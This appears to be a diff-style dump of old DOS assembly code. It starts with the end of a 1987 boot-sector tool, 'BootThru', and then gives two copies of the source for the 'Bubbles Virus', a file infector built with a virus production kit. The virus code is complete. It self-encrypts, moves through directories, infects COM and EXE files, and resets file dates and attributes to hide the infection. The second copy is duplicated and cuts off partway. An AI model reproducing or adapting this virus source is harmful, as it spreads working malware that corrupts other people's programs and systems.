MOV DX,OFFSET msg4 ;setup for disk write
|
||||
CALL Print
|
||||
MOV AL,drive
|
||||
LEA BX,head
|
||||
MOV CX,0001
|
||||
MOV DX,0000
|
||||
drite: ;more setups
|
||||
PUSH AX
|
||||
PUSH BX
|
||||
PUSH CX
|
||||
PUSH DX
|
||||
INT 26h
|
||||
JC derror ;processing error ?
|
||||
POPF ;done
|
||||
POP DX
|
||||
POP CX
|
||||
POP BX
|
||||
POP AX
|
||||
d3:
|
||||
MOV DX,OFFSET msg5 ;transfer complete
|
||||
CALL Print
|
||||
JMP d4
|
||||
derror: ;display disk errror
|
||||
CALL ErrorList
|
||||
dend_of:
|
||||
CALL Print
|
||||
POPF ;done
|
||||
POP DX
|
||||
POP CX
|
||||
POP BX
|
||||
POP AX
|
||||
d4:
|
||||
MOV DX,OFFSET msg3 ;another ?
|
||||
CALL Print
|
||||
JMP d1 ;loop
|
||||
d5:
|
||||
RET
|
||||
Dwrite ENDP
|
||||
|
||||
;--------------
|
||||
|
||||
Print PROC NEAR ;a Great idea from Vern Buerg !
|
||||
PUSH SI
|
||||
PUSH BX
|
||||
PUSH CX
|
||||
MOV SI,DX ;DX has the offset to string
|
||||
SUB CX,CX ;set to zero for count
|
||||
p1:
|
||||
LODSB
|
||||
CMP AL,stopper ;string ends in FFh
|
||||
JE p9
|
||||
INC CX ;increment text length
|
||||
JMP p1
|
||||
p9:
|
||||
MOV AH,40h ;write using file handles
|
||||
MOV BX,1
|
||||
INT 21h
|
||||
POP CX
|
||||
POP BX ;recover registers
|
||||
POP SI
|
||||
RET
|
||||
Print ENDP
|
||||
|
||||
;--------------
|
||||
|
||||
ErrorList PROC NEAR ;error code interpretation
|
||||
;the upper byte (AH) contains error
|
||||
err80h: CMP AH,080h ;attachment failed to respond
|
||||
JNZ err40h
|
||||
MOV DX,OFFSET msg80h
|
||||
RET
|
||||
err40h:
|
||||
CMP AH,040h ;seek operation failed
|
||||
JNZ err20h
|
||||
MOV DX,OFFSET msg40h
|
||||
RET
|
||||
err20h:
|
||||
CMP AH,020h ;controller failed
|
||||
JNZ err10h
|
||||
MOV DX,OFFSET msg20h
|
||||
RET
|
||||
err10h:
|
||||
CMP AH,010h ;data error (bad CRC)
|
||||
JNZ err08h
|
||||
MOV DX,OFFSET msg10h
|
||||
RET
|
||||
err08h:
|
||||
CMP AH,08h ;direct memory access failure
|
||||
JNZ err04h
|
||||
MOV DX,OFFSET msg08h
|
||||
RET
|
||||
err04h:
|
||||
CMP AH,04h ;requested sector not found
|
||||
JNZ err03h
|
||||
MOV DX,OFFSET msg04h
|
||||
RET
|
||||
err03h:
|
||||
CMP AH,03h ;write-protect fault
|
||||
JNZ err02h
|
||||
MOV DX,OFFSET msg03h
|
||||
RET
|
||||
err02h:
|
||||
CMP AH,02h ;bad address mark
|
||||
JNZ errgen
|
||||
MOV DX,OFFSET msg02h
|
||||
RET
|
||||
errgen:
|
||||
MOV DX,OFFSET msggen ;something new ? (Unknown)
|
||||
RET
|
||||
ErrorList ENDP
|
||||
|
||||
;--------------
|
||||
|
||||
Modify PROC FAR
|
||||
head:
|
||||
cr EQU 0Dh ;carriage return
|
||||
lf EQU 0Ah ;line feed
|
||||
stopper EQU 255 ;end of display line indicator
|
||||
boot_area EQU 0000h ;setup boot area
|
||||
bogus_drv EQU 0080h ;setup bogus drive
|
||||
loc2 EQU 01FEh ;last two bytes of boot sector
|
||||
eof_bootsec EQU 0AA55h ;end of boot sector (reversed)
|
||||
bulc EQU 0DAh ;box upper left corner
|
||||
burc EQU 0BFh ;box upper right corner
|
||||
bllc EQU 0C0h ;box lower left corner
|
||||
blrc EQU 0D9h ;box lower right corner
|
||||
bver EQU 0B3h ;vertical
|
||||
bhor EQU 0C4h ;horizontal
|
||||
|
||||
JMP start ;1st byte of the sector must be a jmp
|
||||
DB 'BootThru' ;8-byte system id
|
||||
DW 512 ;sector size in bytes
|
||||
DB 2 ;sectors per cluster
|
||||
DW 1 ;reserved clusters
|
||||
DB 2 ;number of fats
|
||||
DW 112 ;root directory entries
|
||||
DW 720 ;total sectors
|
||||
DB 0FDh ;format id (2 sided, 9 sector)
|
||||
DW 2 ;sectors per fat
|
||||
DW 9 ;sectors per track
|
||||
DW 2 ;sides
|
||||
DW 0 ;special hidden sectors
|
||||
DB 0 ;filler
|
||||
DB 0 ;head
|
||||
DB 0Ah ;length of BIOS file
|
||||
DB 0DFh ;disk parameter table
|
||||
DB 02 ; "
|
||||
DB 25h ; "
|
||||
DB 02 ; "
|
||||
DB 09 ; "
|
||||
DB 02Ah ;Int 1Eh points to this table,
|
||||
DB 0FFh ;the disk parameter table.
|
||||
DB 050h ;contents of this vector (1Eh)
|
||||
DB 0F6h ;are used as a pointer only,
|
||||
DB 0Fh ;Int 1Eh is not executed
|
||||
DB 02 ;directly
|
||||
intro_beg:
|
||||
DB cr,lf,
|
||||
DB cr,lf,bulc,46 DUP(bhor),burc
|
||||
DB cr,lf,bver,' This disk was modified by BootThru ',bver
|
||||
DB cr,lf,bver,' Version 1.05 by Bill Gibson 1987 ',bver
|
||||
DB cr,lf,bllc,46 DUP(bhor),blrc
|
||||
DB cr,lf,stopper
|
||||
|
||||
intro_offset EQU intro_beg - head
|
||||
|
||||
start:
|
||||
MOV AX,07C0h ;boot record location
|
||||
MOV ES,AX
|
||||
MOV DS,AX
|
||||
MOV SI,intro_offset
|
||||
strt1:
|
||||
MOV AH,0Eh ;write teletype
|
||||
MOV AL,[SI]
|
||||
CMP AL,stopper
|
||||
JE SHORT strt2
|
||||
PUSH SI
|
||||
INT 10h
|
||||
POP SI
|
||||
INC SI
|
||||
JMP SHORT strt1
|
||||
strt2:
|
||||
CLD ;setup to bypass drive A:
|
||||
MOV SI,OFFSET strt3 - OFFSET head
|
||||
MOV DI,0200h ;boot sector size
|
||||
MOV CX,0200h
|
||||
REPZ MOVSB
|
||||
JMP head + 200h
|
||||
strt3:
|
||||
MOV AH,2 ;function 02h - read floppy disk
|
||||
MOV BX,boot_area ;boot area
|
||||
MOV CH,0 ;track number
|
||||
MOV CL,1 ;sector
|
||||
MOV DH,0 ;head
|
||||
MOV DL,bogus_drv ;bogus drive
|
||||
MOV AL,1 ;number of sectors
|
||||
INT 13h
|
||||
strt4:
|
||||
MOV BX,loc2 ;setup to pull ROM Basic in
|
||||
MOV AX,[BX] ;if an error occurs
|
||||
CMP AX,eof_bootsec
|
||||
JNZ strt9
|
||||
JMP strt3 - 200h
|
||||
strt9:
|
||||
INT 18h
|
||||
|
||||
DB 'BootThru, Copyright (c) Bill Gibson, 02.09.87'
|
||||
tail:
|
||||
|
||||
filler_amount EQU 512 - (tail - head) - 2
|
||||
|
||||
DB filler_amount dup (0) ; filler
|
||||
boot_id DB 055h,0AAh ; boot id
|
||||
|
||||
Modify ENDP
|
||||
|
||||
BootThru ENDP
|
||||
code ENDS
|
||||
END BootThru
|
||||
|
||||
@@ -0,0 +1,375 @@
|
||||
;---------
|
||||
; Bubbles Virus written by Admiral Bailey
|
||||
; Using The Instant Virus Production Kit By Admiral Bailey
|
||||
; To compile this use TASM /M BUBBLES.ASM
|
||||
;---------
|
||||
|
||||
|
||||
code segment public 'code'
|
||||
assume cs:code
|
||||
org 100h ; All .COM files start here
|
||||
|
||||
ID = 'AB' ; Id for infected files
|
||||
|
||||
start:
|
||||
db 0e9h,0,0 ; Jump to the next command
|
||||
|
||||
virus:
|
||||
call realcode ; Push current location on stack
|
||||
realcode:
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
pop bp ; Get location off stack
|
||||
sub bp,offset realcode ; Adjust it for our pointer
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
call encrypt_decrypt ; Decrypt the virus first
|
||||
|
||||
encrypt_start equ $ ; From here is encrypted
|
||||
|
||||
cmp sp,id ; COM or EXE?
|
||||
je restoreEXE
|
||||
|
||||
lea si,[bp+offset oldjump] ; Location of old jump in si
|
||||
mov di,100h ; Location of where to put it in di
|
||||
push di ; Save so we could just return when done
|
||||
movsb ; Move a byte
|
||||
movsw ; Move a word
|
||||
jmp exitrestore
|
||||
|
||||
restoreEXE:
|
||||
push ds ; Save ExE ds
|
||||
push es ; Save ExE es
|
||||
push cs
|
||||
pop ds ; DS now equals CS
|
||||
push cs
|
||||
pop es ; ES now equals CS
|
||||
lea si,[bp+jmpsave2]
|
||||
lea di,[bp+jmpsave]
|
||||
movsw ; Move a word
|
||||
movsw ; Move a word
|
||||
movsw ; Move a word
|
||||
movsw ; Move a word
|
||||
|
||||
ExitRestore:
|
||||
lea dx,[bp+offset dta] ; Where to put New DTA
|
||||
call set_DTA ; Move it
|
||||
|
||||
mov ax,3524h ; Get int 24 handler
|
||||
int 21h ; To ES:BX
|
||||
mov word ptr [bp+oldint24],bx ; Save it
|
||||
mov word ptr [bp+oldint24+2],es
|
||||
|
||||
mov ah,25h ; Set new int 24 handler
|
||||
lea dx,[bp+offset int24] ; DS:DX->new handler
|
||||
int 21h
|
||||
|
||||
push cs ; Restore ES
|
||||
pop es ; 'cuz it was changed
|
||||
|
||||
mov ah,47h ; Get the current directory
|
||||
mov dl,0h ; On current drive
|
||||
lea si,[bp+offset currentdir] ; Where to keep it
|
||||
int 21h
|
||||
|
||||
dirloop:
|
||||
lea dx,[bp+offset exefilespec]
|
||||
call findfirst
|
||||
lea dx,[bp+offset comfilespec]
|
||||
call findfirst
|
||||
|
||||
lea dx,[bp+offset directory] ; Where to change too '..'
|
||||
mov ah,3bh ; Change directory
|
||||
int 21h
|
||||
jnc dirloop ; If no problems the look for files
|
||||
|
||||
mov ah,9 ; Display string
|
||||
lea dx,[bp+virusname]
|
||||
int 21h
|
||||
|
||||
mov ax,2524h ; Restore int 24 handler
|
||||
lds dx,[bp+offset oldint24] ; To original
|
||||
int 21h
|
||||
|
||||
push cs
|
||||
pop ds ; Do this because the DS gets changed
|
||||
|
||||
lea dx,[bp+offset currentdir] ; Location Of original dir
|
||||
mov ah,3bh ; Change to there
|
||||
int 21h
|
||||
|
||||
mov dx,80h ; Location of original DTA
|
||||
call set_dta ; Put it back there
|
||||
|
||||
cmp sp,id-4 ; EXE or COM?
|
||||
jz returnEXE
|
||||
|
||||
retn ; Return to 100h to original jump
|
||||
|
||||
ReturnEXE:
|
||||
pop es ; Get original ES
|
||||
pop ds ; Get original DS
|
||||
|
||||
mov ax,es
|
||||
add ax,10h
|
||||
add word ptr cs:[bp+jmpsave+2],ax
|
||||
add ax,word ptr cs:[bp+stacksave+2]
|
||||
cli ; Clear int's because of stack manipulation
|
||||
mov sp,word ptr cs:[bp+stacksave]
|
||||
mov ss,ax
|
||||
sti
|
||||
db 0eah ; Jump ssss:oooo
|
||||
jmpsave dd ? ; Jump location
|
||||
stacksave dd ? ; Original cs:ip
|
||||
jmpsave2 dd 0fff00000h ; Used with carrier file
|
||||
stacksave2 dd ?
|
||||
|
||||
findfirst:
|
||||
mov ah,4eh ; Find first file
|
||||
mov cx,7 ; Find all attributes
|
||||
|
||||
findnext:
|
||||
int 21h ; Find first/next file int
|
||||
jc quit ; If none found then change dir
|
||||
|
||||
call infection ; Infect that file
|
||||
|
||||
Findnext2:
|
||||
mov ah,4fh ; Find next file
|
||||
jmp findnext ; Jump to the loop
|
||||
|
||||
quit:
|
||||
ret
|
||||
|
||||
infection:
|
||||
mov ax,3d00h ; Open file for read only
|
||||
call open
|
||||
|
||||
mov ah,3fh ; Read from file
|
||||
mov cx,1ah
|
||||
lea dx,[bp+offset buffer] ; Location to store them
|
||||
int 21h
|
||||
|
||||
mov ah,3eh ; Close file
|
||||
int 21h
|
||||
|
||||
cmp word ptr [bp+buffer],'ZM' ; EXE?
|
||||
jz checkEXE ; Why yes, yes it is!
|
||||
mov ax,word ptr [bp+DTA+35] ; Get end of file name in ax
|
||||
cmp ax,'DN' ; Does End in comma'ND'? (reverse order)
|
||||
jz quitinfect ; Yup so get another file
|
||||
|
||||
CheckCom:
|
||||
mov bx,[bp+offset dta+1ah] ; Get file size
|
||||
mov cx,word ptr [bp+buffer+1] ; Get jump loc of file
|
||||
add cx,eof-virus+3 ; Add for virus size
|
||||
|
||||
cmp bx,cx ; Does file size=file jump+virus size
|
||||
jz quitinfect ; Yup then get another file
|
||||
jmp infectcom
|
||||
|
||||
CheckExe:
|
||||
cmp word ptr [bp+buffer+10h],id ; Check EXE for infection
|
||||
jz quitinfect ; Already infected so close up
|
||||
jmp infectexe
|
||||
|
||||
quitinfect:
|
||||
ret
|
||||
|
||||
InfectCom:
|
||||
sub bx,3 ; Adjust for new jump
|
||||
lea si,[bp+buffer]
|
||||
lea di,[bp+oldjump]
|
||||
movsw
|
||||
movsb
|
||||
mov [bp+buffer],byte ptr 0e9h
|
||||
mov word ptr [bp+buffer+1],bx ; Save for later
|
||||
|
||||
mov cx,3 ; Number of bytes to write
|
||||
|
||||
jmp finishinfection
|
||||
InfectExe:
|
||||
les ax,dword ptr [bp+buffer+14h] ; Load es with seg address
|
||||
mov word ptr [bp+jmpsave2],ax ; save old cs:ip
|
||||
mov word ptr [bp+jmpsave2+2],es
|
||||
|
||||
les ax,dword ptr [bp+buffer+0eh] ; save old ss:sp
|
||||
mov word ptr [bp+stacksave2],es ; save old cs:ip
|
||||
mov word ptr [bp+stacksave2+2],ax
|
||||
|
||||
mov ax, word ptr [bp+buffer+8] ; get header size
|
||||
mov cl,4
|
||||
shl ax,cl
|
||||
xchg ax,bx
|
||||
les ax,[bp+offset DTA+26] ; get files size from dta
|
||||
mov dx,es ; its now in dx:ax
|
||||
push ax ; save these
|
||||
push dx
|
||||
|
||||
sub ax,bx ; subtract header size from fsize
|
||||
sbb dx,0 ; subtract the carry too
|
||||
mov cx,10h ; convert to segment:offset form
|
||||
div cx
|
||||
|
||||
mov word ptr [bp+buffer+14h],dx ; put in new header
|
||||
mov word ptr [bp+buffer+16h],ax ; cs:ip
|
||||
|
||||
mov word ptr [bp+buffer+0eh],ax ; ss:sp
|
||||
mov word ptr [bp+buffer+10h],id ; put id in for later
|
||||
pop dx ; get the file length back
|
||||
pop ax
|
||||
|
||||
add ax,eof-virus ; add virus size
|
||||
adc dx,0 ; add with carry
|
||||
|
||||
mov cl,9 ; calculates new file size
|
||||
push ax
|
||||
shr ax,cl
|
||||
ror dx,cl
|
||||
stc
|
||||
adc dx,ax
|
||||
pop ax
|
||||
and ah,1
|
||||
|
||||
mov word ptr [bp+buffer+4],dx ; save new file size in header
|
||||
mov word ptr [bp+buffer+2],ax
|
||||
|
||||
push cs ; es = cs
|
||||
pop es
|
||||
|
||||
mov cx,1ah ; Number of bytes to write (Header)
|
||||
FinishInfection:
|
||||
push cx ; save # of bytes to write
|
||||
xor cx,cx ; Set attriutes to none
|
||||
call attributes
|
||||
|
||||
mov al,2 ; open file read/write
|
||||
call open
|
||||
|
||||
mov ah,40h ; Write to file
|
||||
lea dx,[bp+buffer] ; Location of bytes
|
||||
pop cx ; Get number of bytes to write
|
||||
int 21h
|
||||
jc closefile
|
||||
|
||||
mov al,02 ; Move Fpointer to eof
|
||||
Call move_fp
|
||||
|
||||
get_time:
|
||||
mov ah,2ch ; Get time for our encryption value
|
||||
int 21h
|
||||
cmp dh,0 ; If its seconds are zere get another
|
||||
je get_time
|
||||
mov [bp+enc_value],dh ; Use seconds value for encryption
|
||||
call encrypt_infect ; Encrypt and infect the file
|
||||
closefile:
|
||||
mov ax,5701h ; Set files date/time back
|
||||
mov cx,word ptr [bp+dta+16h] ; Get old time from dta
|
||||
mov dx,word ptr [bp+dta+18h] ; Get old date
|
||||
int 21h
|
||||
|
||||
mov ah,3eh ; Close file
|
||||
int 21h
|
||||
|
||||
xor cx,cx
|
||||
mov cl,byte ptr [bp+dta+15h] ; Get old Attributes
|
||||
call attributes
|
||||
|
||||
retn
|
||||
|
||||
move_fp:
|
||||
mov ah,42h ; Move file pointer
|
||||
xor cx,cx ; Al has location
|
||||
xor dx,dx ; Clear these
|
||||
int 21h
|
||||
retn
|
||||
|
||||
set_dta:
|
||||
mov ah,1ah ; Move the DTA location
|
||||
int 21h
|
||||
retn
|
||||
|
||||
open:
|
||||
mov ah,3dh ; open file
|
||||
lea dx,[bp+DTA+30] ; filename in DTA
|
||||
int 21h
|
||||
xchg ax,bx ; file handle in bx
|
||||
ret
|
||||
|
||||
attributes:
|
||||
mov ax,4301h ; Set attributes to cx
|
||||
lea dx,[bp+DTA+30] ; filename in DTA
|
||||
int 21h
|
||||
ret
|
||||
int24: ; New int 24h (error) handler
|
||||
mov al,3 ; Fail call
|
||||
iret ; Return from int 24 call
|
||||
|
||||
Virusname db 'Bubbles Virus',10,13 ; Name Of The Virus
|
||||
Author db 'Admiral Bailey',10,13 ; Author Of This Virus
|
||||
Made_with db '[IVP]',10,13,'$' ; Please do not remove this
|
||||
|
||||
comfilespec db '*.com',0 ; Holds type of file to look for
|
||||
exefilespec db '*.exe',0 ; Holds type of file to look for
|
||||
directory db '..',0 ; Directory to change to
|
||||
oldjump db 0cdh,020h,0h ; Old jump. Is int 20h for file quit
|
||||
|
||||
encrypt_infect:
|
||||
lea si,[bp+offset move_begin] ; Location of where to move from
|
||||
lea di,[bp+offset workarea] ; Where to move it too
|
||||
mov cx,move_end-move_begin ; Number of bytes to move
|
||||
move_loop:
|
||||
movsb ; Moves this routine into heap
|
||||
loop move_loop
|
||||
lea dx,[bp+offset workarea]
|
||||
call dx ; Jump to that routine just moved
|
||||
ret
|
||||
|
||||
move_begin equ $ ; Marks beginning of move
|
||||
push bx ; Save the file handle
|
||||
lea dx,[bp+offset encrypt_end]
|
||||
call dx ; Call the encrypt_decrypt procedure
|
||||
pop bx ; Get handle back in bx and return
|
||||
mov ah,40h ; Write to file
|
||||
mov cx,eof-virus ; Number of bytes
|
||||
lea dx,[bp+offset virus] ; Where to write from
|
||||
int 21h
|
||||
push bx ; Save the file handle
|
||||
lea dx,[bp+offset encrypt_end]
|
||||
call dx ; Decrypt the file and return
|
||||
pop bx ; Get handle back in bx and return
|
||||
ret
|
||||
move_end equ $ ; Marks the end of move
|
||||
|
||||
encrypt_end equ $ ; Marks the end of encryption
|
||||
|
||||
encrypt_decrypt:
|
||||
lea bx,[bp+encrypt_start] ; Where to start encryption
|
||||
mov cx,encrypt_end-encrypt_start ; Number of bytes to encrypt
|
||||
mov dh,[bp+enc_value] ; Value to use for encryption
|
||||
encrypt_loop:
|
||||
mov ah,cs:[bx] ; Get a byte in ah
|
||||
xor ah,dh ; Xor it
|
||||
mov cs:[bx],ah ; Put it back
|
||||
inc bx ; Move to next byte and loop
|
||||
loop encrypt_loop
|
||||
ret
|
||||
|
||||
enc_value db 00h ; Hold the encryption value 00 for nul effect
|
||||
|
||||
eof equ $ ; Marks the end of file
|
||||
|
||||
workarea db move_end-move_begin dup (?) ; Holds the encrypt_infect routine
|
||||
currentdir db 64 dup (?) ; Holds the current dir
|
||||
dta db 42 dup (?) ; Location of new DTA
|
||||
buffer db 1ah dup (?) ; Holds exe header
|
||||
oldint24 dd ? ; Storage for old int 24h handler
|
||||
|
||||
code ends
|
||||
end start
|
||||
|
||||
@@ -0,0 +1,375 @@
|
||||
;---------
|
||||
; Bubbles Virus written by Admiral Bailey
|
||||
; Using The Instant Virus Production Kit By Admiral Bailey
|
||||
; To compile this use TASM /M BUBBLES.ASM
|
||||
;---------
|
||||
|
||||
|
||||
code segment public 'code'
|
||||
assume cs:code
|
||||
org 100h ; All .COM files start here
|
||||
|
||||
ID = 'AB' ; Id for infected files
|
||||
|
||||
start:
|
||||
db 0e9h,0,0 ; Jump to the next command
|
||||
|
||||
virus:
|
||||
call realcode ; Push current location on stack
|
||||
realcode:
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
pop bp ; Get location off stack
|
||||
sub bp,offset realcode ; Adjust it for our pointer
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
call encrypt_decrypt ; Decrypt the virus first
|
||||
|
||||
encrypt_start equ $ ; From here is encrypted
|
||||
|
||||
cmp sp,id ; COM or EXE?
|
||||
je restoreEXE
|
||||
|
||||
lea si,[bp+offset oldjump] ; Location of old jump in si
|
||||
mov di,100h ; Location of where to put it in di
|
||||
push di ; Save so we could just return when done
|
||||
movsb ; Move a byte
|
||||
movsw ; Move a word
|
||||
jmp exitrestore
|
||||
|
||||
restoreEXE:
|
||||
push ds ; Save ExE ds
|
||||
push es ; Save ExE es
|
||||
push cs
|
||||
pop ds ; DS now equals CS
|
||||
push cs
|
||||
pop es ; ES now equals CS
|
||||
lea si,[bp+jmpsave2]
|
||||
lea di,[bp+jmpsave]
|
||||
movsw ; Move a word
|
||||
movsw ; Move a word
|
||||
movsw ; Move a word
|
||||
movsw ; Move a word
|
||||
|
||||
ExitRestore:
|
||||
lea dx,[bp+offset dta] ; Where to put New DTA
|
||||
call set_DTA ; Move it
|
||||
|
||||
mov ax,3524h ; Get int 24 handler
|
||||
int 21h ; To ES:BX
|
||||
mov word ptr [bp+oldint24],bx ; Save it
|
||||
mov word ptr [bp+oldint24+2],es
|
||||
|
||||
mov ah,25h ; Set new int 24 handler
|
||||
lea dx,[bp+offset int24] ; DS:DX->new handler
|
||||
int 21h
|
||||
|
||||
push cs ; Restore ES
|
||||
pop es ; 'cuz it was changed
|
||||
|
||||
mov ah,47h ; Get the current directory
|
||||
mov dl,0h ; On current drive
|
||||
lea si,[bp+offset currentdir] ; Where to keep it
|
||||
int 21h
|
||||
|
||||
dirloop:
|
||||
lea dx,[bp+offset exefilespec]
|
||||
call findfirst
|
||||
lea dx,[bp+offset comfilespec]
|
||||
call findfirst
|
||||
|
||||
lea dx,[bp+offset directory] ; Where to change too '..'
|
||||
mov ah,3bh ; Change directory
|
||||
int 21h
|
||||
jnc dirloop ; If no problems the look for files
|
||||
|
||||
mov ah,9 ; Display string
|
||||
lea dx,[bp+virusname]
|
||||
int 21h
|
||||
|
||||
mov ax,2524h ; Restore int 24 handler
|
||||
lds dx,[bp+offset oldint24] ; To original
|
||||
int 21h
|
||||
|
||||
push cs
|
||||
pop ds ; Do this because the DS gets changed
|
||||
|
||||
lea dx,[bp+offset currentdir] ; Location Of original dir
|
||||
mov ah,3bh ; Change to there
|
||||
int 21h
|
||||
|
||||
mov dx,80h ; Location of original DTA
|
||||
call set_dta ; Put it back there
|
||||
|
||||
cmp sp,id-4 ; EXE or COM?
|
||||
jz returnEXE
|
||||
|
||||
retn ; Return to 100h to original jump
|
||||
|
||||
ReturnEXE:
|
||||
pop es ; Get original ES
|
||||
pop ds ; Get original DS
|
||||
|
||||
mov ax,es
|
||||
add ax,10h
|
||||
add word ptr cs:[bp+jmpsave+2],ax
|
||||
add ax,word ptr cs:[bp+stacksave+2]
|
||||
cli ; Clear int's because of stack manipulation
|
||||
mov sp,word ptr cs:[bp+stacksave]
|
||||
mov ss,ax
|
||||
sti
|
||||
db 0eah ; Jump ssss:oooo
|
||||
jmpsave dd ? ; Jump location
|
||||
stacksave dd ? ; Original cs:ip
|
||||
jmpsave2 dd 0fff00000h ; Used with carrier file
|
||||
stacksave2 dd ?
|
||||
|
||||
findfirst:
|
||||
mov ah,4eh ; Find first file
|
||||
mov cx,7 ; Find all attributes
|
||||
|
||||
findnext:
|
||||
int 21h ; Find first/next file int
|
||||
jc quit ; If none found then change dir
|
||||
|
||||
call infection ; Infect that file
|
||||
|
||||
Findnext2:
|
||||
mov ah,4fh ; Find next file
|
||||
jmp findnext ; Jump to the loop
|
||||
|
||||
quit:
|
||||
ret
|
||||
|
||||
infection:
|
||||
mov ax,3d00h ; Open file for read only
|
||||
call open
|
||||
|
||||
mov ah,3fh ; Read from file
|
||||
mov cx,1ah
|
||||
lea dx,[bp+offset buffer] ; Location to store them
|
||||
int 21h
|
||||
|
||||
mov ah,3eh ; Close file
|
||||
int 21h
|
||||
|
||||
cmp word ptr [bp+buffer],'ZM' ; EXE?
|
||||
jz checkEXE ; Why yes, yes it is!
|
||||
mov ax,word ptr [bp+DTA+35] ; Get end of file name in ax
|
||||
cmp ax,'DN' ; Does End in comma'ND'? (reverse order)
|
||||
jz quitinfect ; Yup so get another file
|
||||
|
||||
CheckCom:
|
||||
mov bx,[bp+offset dta+1ah] ; Get file size
|
||||
mov cx,word ptr [bp+buffer+1] ; Get jump loc of file
|
||||
add cx,eof-virus+3 ; Add for virus size
|
||||
|
||||
cmp bx,cx ; Does file size=file jump+virus size
|
||||
jz quitinfect ; Yup then get another file
|
||||
jmp infectcom
|
||||
|
||||
CheckExe:
|
||||
cmp word ptr [bp+buffer+10h],id ; Check EXE for infection
|
||||
jz quitinfect ; Already infected so close up
|
||||
jmp infectexe
|
||||
|
||||
quitinfect:
|
||||
ret
|
||||
|
||||
InfectCom:
|
||||
sub bx,3 ; Adjust for new jump
|
||||
lea si,[bp+buffer]
|
||||
lea di,[bp+oldjump]
|
||||
movsw
|
||||
movsb
|
||||
mov [bp+buffer],byte ptr 0e9h
|
||||
mov word ptr [bp+buffer+1],bx ; Save for later
|
||||
|
||||
mov cx,3 ; Number of bytes to write
|
||||
|
||||
jmp finishinfection
|
||||
InfectExe:
|
||||
les ax,dword ptr [bp+buffer+14h] ; Load es with seg address
|
||||
mov word ptr [bp+jmpsave2],ax ; save old cs:ip
|
||||
mov word ptr [bp+jmpsave2+2],es
|
||||
|
||||
les ax,dword ptr [bp+buffer+0eh] ; save old ss:sp
|
||||
mov word ptr [bp+stacksave2],es ; save old cs:ip
|
||||
mov word ptr [bp+stacksave2+2],ax
|
||||
|
||||
mov ax, word ptr [bp+buffer+8] ; get header size
|
||||
mov cl,4
|
||||
shl ax,cl
|
||||
xchg ax,bx
|
||||
les ax,[bp+offset DTA+26] ; get files size from dta
|
||||
mov dx,es ; its now in dx:ax
|
||||
push ax ; save these
|
||||
push dx
|
||||
|
||||
sub ax,bx ; subtract header size from fsize
|
||||
sbb dx,0 ; subtract the carry too
|
||||
mov cx,10h ; convert to segment:offset form
|
||||
div cx
|
||||
|
||||
mov word ptr [bp+buffer+14h],dx ; put in new header
|
||||
mov word ptr [bp+buffer+16h],ax ; cs:ip
|
||||
|
||||
mov word ptr [bp+buffer+0eh],ax ; ss:sp
|
||||
mov word ptr [bp+buffer+10h],id ; put id in for later
|
||||
pop dx ; get the file length back
|
||||
pop ax
|
||||
|
||||
add ax,eof-virus ; add virus size
|
||||
adc dx,0 ; add with carry
|
||||
|
||||
mov cl,9 ; calculates new file size
|
||||
push ax
|
||||
shr ax,cl
|
||||
ror dx,cl
|
||||
stc
|
||||
adc dx,ax
|
||||
pop ax
|
||||
and ah,1
|
||||
|
||||
mov word ptr [bp+buffer+4],dx ; save new file size in header
|
||||
mov word ptr [bp+buffer+2],ax
|
||||
|
||||
push cs ; es = cs
|
||||
pop es
|
||||
|
||||
mov cx,1ah ; Number of bytes to write (Header)
|
||||
FinishInfection:
|
||||
push cx ; save # of bytes to write
|
||||
xor cx,cx ; Set attriutes to none
|
||||
call attributes
|
||||
|
||||
mov al,2 ; open file read/write
|
||||
call open
|
||||
|
||||
mov ah,40h ; Write to file
|
||||
lea dx,[bp+buffer] ; Location of bytes
|
||||
pop cx ; Get number of bytes to write
|
||||
int 21h
|
||||
jc closefile
|
||||
|
||||
mov al,02 ; Move Fpointer to eof
|
||||
Call move_fp
|
||||
|
||||
get_time:
|
||||
mov ah,2ch ; Get time for our encryption value
|
||||
int 21h
|
||||
cmp dh,0 ; If its seconds are zere get another
|
||||
je get_time
|
||||
mov [bp+enc_value],dh ; Use seconds value for encryption
|
||||
call encrypt_infect ; Encrypt and infect the file
|
||||
closefile:
|
||||
mov ax,5701h ; Set files date/time back
|
||||
mov cx,word ptr [bp+dta+16h] ; Get old time from dta
|
||||
mov dx,word ptr [bp+dta+18h] ; Get old date
|
||||
int 21h
|
||||
|
||||
mov ah,3eh ; Close file
|
||||
int 21h
|
||||
|
||||
xor cx,cx
|
||||
mov cl,byte ptr [bp+dta+15h] ; Get old Attributes
|
||||
call attributes
|
||||
|
||||
retn
|
||||
|
||||
move_fp:
|
||||
mov ah,42h ; Move file pointer
|
||||
xor cx,cx ; Al has location
|
||||
xor dx,dx ; Clear these
|
||||
int 21h
|
||||
retn
|
||||
|
||||
set_dta:
|
||||
mov ah,1ah ; Move the DTA location
|
||||
int 21h
|
||||
retn
|
||||
|
||||
open:
|
||||
mov ah,3dh ; open file
|
||||
lea dx,[bp+DTA+30] ; filename in DTA
|
||||
int 21h
|
||||
xchg ax,bx ; file handle in bx
|
||||
ret
|
||||
|
||||
attributes:
|
||||
mov ax,4301h ; Set attributes to cx
|
||||
lea dx,[bp+DTA+30] ; filename in DTA
|
||||
int 21h
|
||||
ret
|
||||
int24: ; New int 24h (error) handler
|
||||
mov al,3 ; Fail call
|
||||
iret ; Return from int 24 call
|
||||
|
||||
Virusname db 'Bubbles Virus',10,13 ; Name Of The Virus
|
||||
Author db 'Admiral Bailey',10,13 ; Author Of This Virus
|
||||
Made_with db '[IVP]',10,13,'$' ; Please do not remove this
|
||||
|
||||
comfilespec db '*.com',0 ; Holds type of file to look for
|
||||
exefilespec db '*.exe',0 ; Holds type of file to look for
|
||||
directory db '..',0 ; Directory to change to
|
||||
oldjump db 0cdh,020h,0h ; Old jump. Is int 20h for file quit
|
||||
|
||||
encrypt_infect:
|
||||
lea si,[bp+offset move_begin] ; Location of where to move from
|
||||
lea di,[bp+offset workarea] ; Where to move it too
|
||||
mov cx,move_end-move_begin ; Number of bytes to move
|
||||
move_loop:
|
||||
movsb ; Moves this routine into heap
|
||||
loop move_loop
|
||||
lea dx,[bp+offset workarea]
|
||||
call dx ; Jump to that routine just moved
|
||||
ret
|
||||
|
||||
move_begin equ $ ; Marks beginning of move
|
||||
push bx ; Save the file handle
